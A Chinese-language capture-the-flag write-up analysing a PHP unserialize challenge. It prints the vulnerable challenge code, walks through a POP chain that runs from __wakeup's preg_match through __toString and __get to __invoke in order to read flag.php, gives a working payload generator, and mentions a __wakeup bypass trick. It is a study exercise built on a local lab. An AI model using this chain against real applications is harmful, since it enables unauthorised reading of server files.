題目來源
來自於prontosil師傅的文章https://prontosil.club/2019/10/20/yi-dao-fan-xu-lie-hua-ti-de-fen-xi/#more
分析
<?php
error_reporting(1);
class Read {
public $var;
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
}
class Show
{
public $source;
public $str;
public function __construct($file='index.php')
{
$this->source = $file;
echo $this->source.'Welcome'."<br>";
}
public function __toString()
{
$this->str['str']->source;
}
public function _show()
{
if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
die('hacker');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test
{
public $p;
public function __construct()
{
$this->p = array();
}
public function __get($key)
{
$function = $this->p;
return $function();
}
}
if(isset($_GET['hello']))
{
unserialize($_GET['hello']);
}
else
{
$show = new Show('index.php');
$show->_show();
}
這篇文章是無意中手機上看到的文章,真的覺得這種構造鏈很有意思,所以自己分析了一波。跟這位師傅一樣,可能一連串的鏈已經想好如何構造了,但是就是卡在最關鍵的一步,最開始的一步如何去調用__toString()呢。下面具體來分析,原文是有注釋的,我這里刪除了。還沒看下文的師傅,自己分析一波看看,沒必要直接看分析。
分析
最初始的第一步看需要輸入的參數

如果存在hello字段輸入就會反序列化操作,如果不存在就會new一個show類,構造方法初始index.php,在調用_show(),輸出index.php文件


我們分析完最基礎的一步,沒什么用。主要是反序列化鏈的構造。
第一層
我們可以看到file_get(),目的就是調用Read類中的file_get讀取到flag文件。

我們看到test類中的__get()和Read中的__invoke()的魔術方法


_get魔術方法: 當訪問類中的私有屬性或者是不存在的屬性,觸發__get魔術方法
__invoke魔術方法 : 當類的一個對象被當作函數調用的時候觸發
這里就是要通過__get方法將$p賦值為new Read(),然后將Read作為函數調用就會觸發__invoke方法,將$var賦值為flag地址就可以讀到flag
那問題來了,如何去觸發__get魔術方法呢。
第二層
在Show類中,還有一個__toString()魔術方法,當類作為字符串使用時觸發__toString()

如果能觸發__toString的話,就可以將str['str'] new成Test類,調用source這樣Test類不存在的屬性時,就觸發了__get魔術方法
但是問題又來了,誰來觸發__toString()呢
第三層(難點)
第三層我一開始跟這位師傅一樣,完全沒有想到,__wakeup,之前做的題目一般都是需要繞過__wakeup,因為在反序列化一開始就會調用__wakeup魔術方法,所以一開始就把這個魔術方法作為需要bypass的東西,然后這卻是我們最需要利用的最開始的一步。
原因在於preg_match會將$this->source作為字符串來使用,去執行匹配。
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
因而如果將 source賦值一個new Show類的話,在反序列化一開始調用__wakeup,preg_match觸發__toString。這樣就達成了上述的條件。
完整的鏈
preg_match()->__tostring()->__get()->invoke()
exp
這里自己分析完寫了一個exp.php
<?php
class Read {
public $var="flag.php";
}
class Show
{
public $source;
public $str;
}
class Test
{
public $p;
}
$a=new Show();
$a->source=$a; //觸發__toString
$a->str['str']=new Test();
$a->str['str']->p=new Read();
echo serialize($a);

本地phpstudy搭建了一個環境

base64解碼得到flag

對於寫這篇文章師傅后期分析的繞過__wakeup方法,只要序列化字符串中屬性個數大於本身的類的屬性個數即可繞過,以前在哪個比賽中已經用過這個繞過。一時想不起來,以至於我一開始看到__wakeup,就覺得需要繞過,而不是去利用。😅。這道題用preg_match將變量作為字符串來觸發__toString()很有意思啊。受益匪淺,一直很喜歡這種鏈的構造。
